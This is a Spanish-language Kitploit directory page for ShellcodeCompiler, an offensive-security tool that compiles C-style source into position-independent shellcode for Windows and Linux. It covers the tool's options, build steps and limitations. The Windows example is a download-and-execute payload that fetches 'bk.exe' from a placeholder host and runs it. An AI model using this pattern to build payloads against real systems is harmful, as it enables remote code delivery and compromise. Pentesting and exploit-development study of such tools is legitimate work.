Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ShellcodeCompiler — Compilador de Shellcode | Kitploit
Herramientas/GitHubGitHub/nytrorst/shellcodecompiler
ExplotaciónShellcodeGeneración de ShellcodeDesarrollo de PayloadsExplotación de Binarios
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

Compilador de Shellcode

Ver Repositorio
1.2k28017hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Compilador de Shellcode

Shellcode Compiler es un programa que compila código estilo C/C++ en un shellcode pequeño, independiente de posición y libre de NULL para Windows (x86 y x64) y Linux (x86 y x64). Es posible llamar a cualquier función de la API de Windows o syscall de Linux de una manera fácil de usar.

Shellcode Compiler toma como entrada un archivo fuente y utiliza su propio compilador para interpretar el código y generar un archivo ensamblador que se ensambla con el motor Keystone.

Opciones de línea de comandos

root@kitploit:~
    -h (--help)      : Muestra este mensaje de ayuda
    -p (--platform)  : Plataforma del shellcode: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : Imprime salida detallada
    -t (--test)      : Prueba (ejecuta) el shellcode generado
    -r (--read)      : Lee el archivo de código fuente
    -o (--output)    : Archivo de salida del shellcode binario generado
    -a (--assembbly) : Archivo de salida del código ensamblador generado

Ejemplo en Windows

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);
Descargar herramienta

Ejemplo en Linux

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

Ejemplo de invocación

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
    

Limitaciones

  1. No es posible usar el valor de retorno de una llamada a la API
  2. No es posible usar punteros o búferes
  3. No es posible declarar variables

Existen múltiples otras limitaciones también. Esta es una versión Alpha. Por favor, reporta cualquier error o sugerencia.

Registro de cambios

  1. Soporte inicial para Windows x64
  2. Soporte inicial para shellcodes de Linux (x86 y x64)

Keystone

  1. Descarga el código fuente de Keystone Engine
  2. Compila Keystone Engine como biblioteca estática usando nmake-lib.sh (para Linux) y nmake-lib.bat (para Windows)
  3. Windows: Copia el archivo lib resultante de keystone-src\build\llvm\lib\keystone.lib a ShellcodeCompiler\Keystone\keystone_x86.lib (para 32 bits) y keystone_x64.lib (para 64 bits)
  4. Linux: Copia el archivo lib resultante de keystone-src\build\llvm\lib\keystone.lib a ShellcodeCompiler\Keystone\libkeystone_x86.a (para 32 bits) y libkeystone_x64.a (para 64 bits)

Autor

Ionut Popescu (@NytroRST)